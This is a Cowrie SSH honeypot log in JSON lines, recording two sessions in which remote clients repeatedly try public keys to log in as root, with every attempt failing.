{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:19:c3:21:e0:e4:67:55:50:c3:19:2e:7c:5c:b1:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWxzZx+l6CMuFloEGyVIikheTHtCpFysMB119WTicGPHFhS2FN8fBRqoIFY716pczOT94xH+viCD24/XeuDaKsjkWltc4TspYCdmQglYhnc6Syj7CeIfQdhMFmlxswW9ktS6jNObMDU1/8B96PJ3oFiayEE3wJmSP4fVsF3wI9zkUrgb3SO7sBOGPEiCJi38b7/3jwLNrnS4eM8kD21zRm0an0Tw7s0pXu7vG1yleHKK0SICwLSoXKUVpn6J78TIP7/xw2Vvo1QN/E6O0BODe4zwGPFFvyjPKnVMyRepYVYGR42qh0JiNg0EGGVR1y53e4zpCdloZUZzgsxiOx5YPZ/tpuUR/AIZehyboSCnUfQZZHkFnU+gMLHwbzAds+qAfoCAYU3Uxd3/pECL2knvi4Y/FZBmw2C5BZ5NCm1F6lLxUaC0uPnhllrXNdMy/yYhdTcTeBBzi3kkYu8+JhOpid7kBpIOfHQRoyFUiKdIEMRC+nIOm02VwhVWP5p8bv8p+qBekawX+SlqOWita9FiALpal8JEhu+BVI/q6lZBlvEeUIFYftnymlcRE6BqmZil3gkNIVvRaAVD1ldfo7McAmRk3x6rzxS6xSioKeLx+mipxFJo0DfZrS5e9FxUKGb13APfxD7Ce5ncPj7GAd3uXa4AusRDYWJrl0ej/9g1c65Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:19:c3:21:e0:e4:67:55:50:c3:19:2e:7c:5c:b1:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.722106Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:19:c3:21:e0:e4:67:55:50:c3:19:2e:7c:5c:b1:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWxzZx+l6CMuFloEGyVIikheTHtCpFysMB119WTicGPHFhS2FN8fBRqoIFY716pczOT94xH+viCD24/XeuDaKsjkWltc4TspYCdmQglYhnc6Syj7CeIfQdhMFmlxswW9ktS6jNObMDU1/8B96PJ3oFiayEE3wJmSP4fVsF3wI9zkUrgb3SO7sBOGPEiCJi38b7/3jwLNrnS4eM8kD21zRm0an0Tw7s0pXu7vG1yleHKK0SICwLSoXKUVpn6J78TIP7/xw2Vvo1QN/E6O0BODe4zwGPFFvyjPKnVMyRepYVYGR42qh0JiNg0EGGVR1y53e4zpCdloZUZzgsxiOx5YPZ/tpuUR/AIZehyboSCnUfQZZHkFnU+gMLHwbzAds+qAfoCAYU3Uxd3/pECL2knvi4Y/FZBmw2C5BZ5NCm1F6lLxUaC0uPnhllrXNdMy/yYhdTcTeBBzi3kkYu8+JhOpid7kBpIOfHQRoyFUiKdIEMRC+nIOm02VwhVWP5p8bv8p+qBekawX+SlqOWita9FiALpal8JEhu+BVI/q6lZBlvEeUIFYftnymlcRE6BqmZil3gkNIVvRaAVD1ldfo7McAmRk3x6rzxS6xSioKeLx+mipxFJo0DfZrS5e9FxUKGb13APfxD7Ce5ncPj7GAd3uXa4AusRDYWJrl0ej/9g1c65Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.726153Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:4e:bc:2e:99:f2:21:83:de:d8:54:ea:8c:95:12:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVJ/rv1li2gLxs3TTSExFCLXabD9ogvjwoN4DTJzRpJJshFvDuaRBafl7LH5trp9G0w5spnYJ+c3KwfxEqjjYMyNytq2fZUDpPr1E9Vm+Er1vnEj6gN9LL5Z72ZmJF0JoPgg1uCvvh2vFOPi9o5vFbmLwVRKATkSgHbES6EglySooXGBFCJwS3Fum+dtr9L2TcdJu+qROMwvg8jD7Jkjz4cpNyJXrGt3g7UqfbvjQ7ymr+VNclqsoB2RjrR74EAhEfH996/d6rPnZBn0QVh+7eKcavhRVwYU9uhGAlJ7lwyWu0cu2WBD/EtkbYEScP8Bcdd5FG2DOhI+rCnCdICvKH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:4e:bc:2e:99:f2:21:83:de:d8:54:ea:8c:95:12:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.813478Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:4e:bc:2e:99:f2:21:83:de:d8:54:ea:8c:95:12:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVJ/rv1li2gLxs3TTSExFCLXabD9ogvjwoN4DTJzRpJJshFvDuaRBafl7LH5trp9G0w5spnYJ+c3KwfxEqjjYMyNytq2fZUDpPr1E9Vm+Er1vnEj6gN9LL5Z72ZmJF0JoPgg1uCvvh2vFOPi9o5vFbmLwVRKATkSgHbES6EglySooXGBFCJwS3Fum+dtr9L2TcdJu+qROMwvg8jD7Jkjz4cpNyJXrGt3g7UqfbvjQ7ymr+VNclqsoB2RjrR74EAhEfH996/d6rPnZBn0QVh+7eKcavhRVwYU9uhGAlJ7lwyWu0cu2WBD/EtkbYEScP8Bcdd5FG2DOhI+rCnCdICvKH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.817367Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:f8:ba:2d:31:43:3c:86:d6:c9:42:ff:4a:b0:c8:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkolFyJbLAtU5NFqHmOvDA63O0ctzd/+tasxaQ+qd0EEYgXUk0mBIFrKXm5L1U/MDAwq2dtUJnsdWrRoCEWHfK28ZG0OI8mLh5yDlfMobGAjYbYGVrLCom6E/4PZCBa5Ss7vTDfOBunDal11C0PscM8gZiamQSQIziD0bPgLrjlVNsf9T2eHT5YPzRWkogJTvPMGllftsR6vsH86cg9iIwGjgBZgHnOWvoJ+JF7Ene3mYQ9+IOMTmlYwSQBytjJdUnsgJgIV1FamL8QrLmMeogimcabitDceSvNPEK2zuONZNu2Q5fYTA1imOL8h60kD2bImuRngP8p5PUa4B1qkZ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:f8:ba:2d:31:43:3c:86:d6:c9:42:ff:4a:b0:c8:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.904870Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:f8:ba:2d:31:43:3c:86:d6:c9:42:ff:4a:b0:c8:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkolFyJbLAtU5NFqHmOvDA63O0ctzd/+tasxaQ+qd0EEYgXUk0mBIFrKXm5L1U/MDAwq2dtUJnsdWrRoCEWHfK28ZG0OI8mLh5yDlfMobGAjYbYGVrLCom6E/4PZCBa5Ss7vTDfOBunDal11C0PscM8gZiamQSQIziD0bPgLrjlVNsf9T2eHT5YPzRWkogJTvPMGllftsR6vsH86cg9iIwGjgBZgHnOWvoJ+JF7Ene3mYQ9+IOMTmlYwSQBytjJdUnsgJgIV1FamL8QrLmMeogimcabitDceSvNPEK2zuONZNu2Q5fYTA1imOL8h60kD2bImuRngP8p5PUa4B1qkZ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.908671Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:a3:fd:0f:67:86:71:c6:1b:d2:41:16:e1:a3:84:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvl6sLNUmPWaCmzDZJshmFcmbR90CiDqOMqeFulUAuslAxOTjvBcBRROjrpHjljwtN7sImk6NZbiAnQ4CJR3xw1eO8RaEM/Nvu13rgCwX7DYZ/09sPQN0M+RYXZX7Jihm1XKwFWHGZ2VFa3aIlf3vV43Ais3LmR0Vjc/7/kZ65nfk8S80Tq9Vv04ZiuvuuIzdPdqN5AJ7AGZ2P9vZ/DaYsmrJK/F7+9phY9Dq03/jZSav88CXutda7s6kt3hCxvXJ8EahGcpTorl6s8FSR5DZQjFPj5sH0ZDKbJ2wNMSC4+VmxCMZwM5bYCQa5DGQclvxJ1t5HiHHPVG0ueCAstJjQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:a3:fd:0f:67:86:71:c6:1b:d2:41:16:e1:a3:84:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.996339Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:a3:fd:0f:67:86:71:c6:1b:d2:41:16:e1:a3:84:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvl6sLNUmPWaCmzDZJshmFcmbR90CiDqOMqeFulUAuslAxOTjvBcBRROjrpHjljwtN7sImk6NZbiAnQ4CJR3xw1eO8RaEM/Nvu13rgCwX7DYZ/09sPQN0M+RYXZX7Jihm1XKwFWHGZ2VFa3aIlf3vV43Ais3LmR0Vjc/7/kZ65nfk8S80Tq9Vv04ZiuvuuIzdPdqN5AJ7AGZ2P9vZ/DaYsmrJK/F7+9phY9Dq03/jZSav88CXutda7s6kt3hCxvXJ8EahGcpTorl6s8FSR5DZQjFPj5sH0ZDKbJ2wNMSC4+VmxCMZwM5bYCQa5DGQclvxJ1t5HiHHPVG0ueCAstJjQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:27.000435Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:46:d2:a3:dd:77:6c:85:46:db:a2:78:fb:e7:d0:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc26asak6KzNFf47mT0HwRa+dhZJUZ+UDQbcInLEiw0UDYLfeof6cmJBcRWKVe/5tzDbWWnVl3jRzmVsRpKeSpSSLuk6/yP7WH3Y5ALHgueyl9UtunY+FJFM3mp9Vhk0c36rVCeJuASXCypt5Ux8n5jhjIZIHC8nmEuwzxqhmQolwc3CH2/LgjrRCVP5KgoThbgXwO0HLwHfu6fMUAbvIiHYUy2iKu5kSkvdEdOEGOKXfVakHjbMhlq2RHFTWhYh6JciVY3FNniInF0PmR/2WibKlOHgPgy1UE7dClp2mFNacgNzBIzQofX7IHeD8jo1mkMawlRqxWm2+GILPSfi/9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:46:d2:a3:dd:77:6c:85:46:db:a2:78:fb:e7:d0:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:27.090951Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:46:d2:a3:dd:77:6c:85:46:db:a2:78:fb:e7:d0:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc26asak6KzNFf47mT0HwRa+dhZJUZ+UDQbcInLEiw0UDYLfeof6cmJBcRWKVe/5tzDbWWnVl3jRzmVsRpKeSpSSLuk6/yP7WH3Y5ALHgueyl9UtunY+FJFM3mp9Vhk0c36rVCeJuASXCypt5Ux8n5jhjIZIHC8nmEuwzxqhmQolwc3CH2/LgjrRCVP5KgoThbgXwO0HLwHfu6fMUAbvIiHYUy2iKu5kSkvdEdOEGOKXfVakHjbMhlq2RHFTWhYh6JciVY3FNniInF0PmR/2WibKlOHgPgy1UE7dClp2mFNacgNzBIzQofX7IHeD8jo1mkMawlRqxWm2+GILPSfi/9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:27.094857Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:27.182526Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":44638,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea27238322af","protocol":"ssh","message":"New connection: 87.121.69.138:44638 (10.17.0.5:22) [session: ea27238322af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:40.853438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:40.858124Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:40.942472Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:19:c3:21:e0:e4:67:55:50:c3:19:2e:7c:5c:b1:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWxzZx+l6CMuFloEGyVIikheTHtCpFysMB119WTicGPHFhS2FN8fBRqoIFY716pczOT94xH+viCD24/XeuDaKsjkWltc4TspYCdmQglYhnc6Syj7CeIfQdhMFmlxswW9ktS6jNObMDU1/8B96PJ3oFiayEE3wJmSP4fVsF3wI9zkUrgb3SO7sBOGPEiCJi38b7/3jwLNrnS4eM8kD21zRm0an0Tw7s0pXu7vG1yleHKK0SICwLSoXKUVpn6J78TIP7/xw2Vvo1QN/E6O0BODe4zwGPFFvyjPKnVMyRepYVYGR42qh0JiNg0EGGVR1y53e4zpCdloZUZzgsxiOx5YPZ/tpuUR/AIZehyboSCnUfQZZHkFnU+gMLHwbzAds+qAfoCAYU3Uxd3/pECL2knvi4Y/FZBmw2C5BZ5NCm1F6lLxUaC0uPnhllrXNdMy/yYhdTcTeBBzi3kkYu8+JhOpid7kBpIOfHQRoyFUiKdIEMRC+nIOm02VwhVWP5p8bv8p+qBekawX+SlqOWita9FiALpal8JEhu+BVI/q6lZBlvEeUIFYftnymlcRE6BqmZil3gkNIVvRaAVD1ldfo7McAmRk3x6rzxS6xSioKeLx+mipxFJo0DfZrS5e9FxUKGb13APfxD7Ce5ncPj7GAd3uXa4AusRDYWJrl0ej/9g1c65Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:19:c3:21:e0:e4:67:55:50:c3:19:2e:7c:5c:b1:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.331277Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:19:c3:21:e0:e4:67:55:50:c3:19:2e:7c:5c:b1:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWxzZx+l6CMuFloEGyVIikheTHtCpFysMB119WTicGPHFhS2FN8fBRqoIFY716pczOT94xH+viCD24/XeuDaKsjkWltc4TspYCdmQglYhnc6Syj7CeIfQdhMFmlxswW9ktS6jNObMDU1/8B96PJ3oFiayEE3wJmSP4fVsF3wI9zkUrgb3SO7sBOGPEiCJi38b7/3jwLNrnS4eM8kD21zRm0an0Tw7s0pXu7vG1yleHKK0SICwLSoXKUVpn6J78TIP7/xw2Vvo1QN/E6O0BODe4zwGPFFvyjPKnVMyRepYVYGR42qh0JiNg0EGGVR1y53e4zpCdloZUZzgsxiOx5YPZ/tpuUR/AIZehyboSCnUfQZZHkFnU+gMLHwbzAds+qAfoCAYU3Uxd3/pECL2knvi4Y/FZBmw2C5BZ5NCm1F6lLxUaC0uPnhllrXNdMy/yYhdTcTeBBzi3kkYu8+JhOpid7kBpIOfHQRoyFUiKdIEMRC+nIOm02VwhVWP5p8bv8p+qBekawX+SlqOWita9FiALpal8JEhu+BVI/q6lZBlvEeUIFYftnymlcRE6BqmZil3gkNIVvRaAVD1ldfo7McAmRk3x6rzxS6xSioKeLx+mipxFJo0DfZrS5e9FxUKGb13APfxD7Ce5ncPj7GAd3uXa4AusRDYWJrl0ej/9g1c65Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.334308Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:4e:bc:2e:99:f2:21:83:de:d8:54:ea:8c:95:12:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVJ/rv1li2gLxs3TTSExFCLXabD9ogvjwoN4DTJzRpJJshFvDuaRBafl7LH5trp9G0w5spnYJ+c3KwfxEqjjYMyNytq2fZUDpPr1E9Vm+Er1vnEj6gN9LL5Z72ZmJF0JoPgg1uCvvh2vFOPi9o5vFbmLwVRKATkSgHbES6EglySooXGBFCJwS3Fum+dtr9L2TcdJu+qROMwvg8jD7Jkjz4cpNyJXrGt3g7UqfbvjQ7ymr+VNclqsoB2RjrR74EAhEfH996/d6rPnZBn0QVh+7eKcavhRVwYU9uhGAlJ7lwyWu0cu2WBD/EtkbYEScP8Bcdd5FG2DOhI+rCnCdICvKH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:4e:bc:2e:99:f2:21:83:de:d8:54:ea:8c:95:12:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.416918Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:4e:bc:2e:99:f2:21:83:de:d8:54:ea:8c:95:12:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVJ/rv1li2gLxs3TTSExFCLXabD9ogvjwoN4DTJzRpJJshFvDuaRBafl7LH5trp9G0w5spnYJ+c3KwfxEqjjYMyNytq2fZUDpPr1E9Vm+Er1vnEj6gN9LL5Z72ZmJF0JoPgg1uCvvh2vFOPi9o5vFbmLwVRKATkSgHbES6EglySooXGBFCJwS3Fum+dtr9L2TcdJu+qROMwvg8jD7Jkjz4cpNyJXrGt3g7UqfbvjQ7ymr+VNclqsoB2RjrR74EAhEfH996/d6rPnZBn0QVh+7eKcavhRVwYU9uhGAlJ7lwyWu0cu2WBD/EtkbYEScP8Bcdd5FG2DOhI+rCnCdICvKH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.421291Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:f8:ba:2d:31:43:3c:86:d6:c9:42:ff:4a:b0:c8:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkolFyJbLAtU5NFqHmOvDA63O0ctzd/+tasxaQ+qd0EEYgXUk0mBIFrKXm5L1U/MDAwq2dtUJnsdWrRoCEWHfK28ZG0OI8mLh5yDlfMobGAjYbYGVrLCom6E/4PZCBa5Ss7vTDfOBunDal11C0PscM8gZiamQSQIziD0bPgLrjlVNsf9T2eHT5YPzRWkogJTvPMGllftsR6vsH86cg9iIwGjgBZgHnOWvoJ+JF7Ene3mYQ9+IOMTmlYwSQBytjJdUnsgJgIV1FamL8QrLmMeogimcabitDceSvNPEK2zuONZNu2Q5fYTA1imOL8h60kD2bImuRngP8p5PUa4B1qkZ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:f8:ba:2d:31:43:3c:86:d6:c9:42:ff:4a:b0:c8:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.507754Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:f8:ba:2d:31:43:3c:86:d6:c9:42:ff:4a:b0:c8:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkolFyJbLAtU5NFqHmOvDA63O0ctzd/+tasxaQ+qd0EEYgXUk0mBIFrKXm5L1U/MDAwq2dtUJnsdWrRoCEWHfK28ZG0OI8mLh5yDlfMobGAjYbYGVrLCom6E/4PZCBa5Ss7vTDfOBunDal11C0PscM8gZiamQSQIziD0bPgLrjlVNsf9T2eHT5YPzRWkogJTvPMGllftsR6vsH86cg9iIwGjgBZgHnOWvoJ+JF7Ene3mYQ9+IOMTmlYwSQBytjJdUnsgJgIV1FamL8QrLmMeogimcabitDceSvNPEK2zuONZNu2Q5fYTA1imOL8h60kD2bImuRngP8p5PUa4B1qkZ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.512433Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:a3:fd:0f:67:86:71:c6:1b:d2:41:16:e1:a3:84:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvl6sLNUmPWaCmzDZJshmFcmbR90CiDqOMqeFulUAuslAxOTjvBcBRROjrpHjljwtN7sImk6NZbiAnQ4CJR3xw1eO8RaEM/Nvu13rgCwX7DYZ/09sPQN0M+RYXZX7Jihm1XKwFWHGZ2VFa3aIlf3vV43Ais3LmR0Vjc/7/kZ65nfk8S80Tq9Vv04ZiuvuuIzdPdqN5AJ7AGZ2P9vZ/DaYsmrJK/F7+9phY9Dq03/jZSav88CXutda7s6kt3hCxvXJ8EahGcpTorl6s8FSR5DZQjFPj5sH0ZDKbJ2wNMSC4+VmxCMZwM5bYCQa5DGQclvxJ1t5HiHHPVG0ueCAstJjQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:a3:fd:0f:67:86:71:c6:1b:d2:41:16:e1:a3:84:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.595990Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:a3:fd:0f:67:86:71:c6:1b:d2:41:16:e1:a3:84:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvl6sLNUmPWaCmzDZJshmFcmbR90CiDqOMqeFulUAuslAxOTjvBcBRROjrpHjljwtN7sImk6NZbiAnQ4CJR3xw1eO8RaEM/Nvu13rgCwX7DYZ/09sPQN0M+RYXZX7Jihm1XKwFWHGZ2VFa3aIlf3vV43Ais3LmR0Vjc/7/kZ65nfk8S80Tq9Vv04ZiuvuuIzdPdqN5AJ7AGZ2P9vZ/DaYsmrJK/F7+9phY9Dq03/jZSav88CXutda7s6kt3hCxvXJ8EahGcpTorl6s8FSR5DZQjFPj5sH0ZDKbJ2wNMSC4+VmxCMZwM5bYCQa5DGQclvxJ1t5HiHHPVG0ueCAstJjQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.599569Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:46:d2:a3:dd:77:6c:85:46:db:a2:78:fb:e7:d0:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc26asak6KzNFf47mT0HwRa+dhZJUZ+UDQbcInLEiw0UDYLfeof6cmJBcRWKVe/5tzDbWWnVl3jRzmVsRpKeSpSSLuk6/yP7WH3Y5ALHgueyl9UtunY+FJFM3mp9Vhk0c36rVCeJuASXCypt5Ux8n5jhjIZIHC8nmEuwzxqhmQolwc3CH2/LgjrRCVP5KgoThbgXwO0HLwHfu6fMUAbvIiHYUy2iKu5kSkvdEdOEGOKXfVakHjbMhlq2RHFTWhYh6JciVY3FNniInF0PmR/2WibKlOHgPgy1UE7dClp2mFNacgNzBIzQofX7IHeD8jo1mkMawlRqxWm2+GILPSfi/9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:46:d2:a3:dd:77:6c:85:46:db:a2:78:fb:e7:d0:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.684097Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
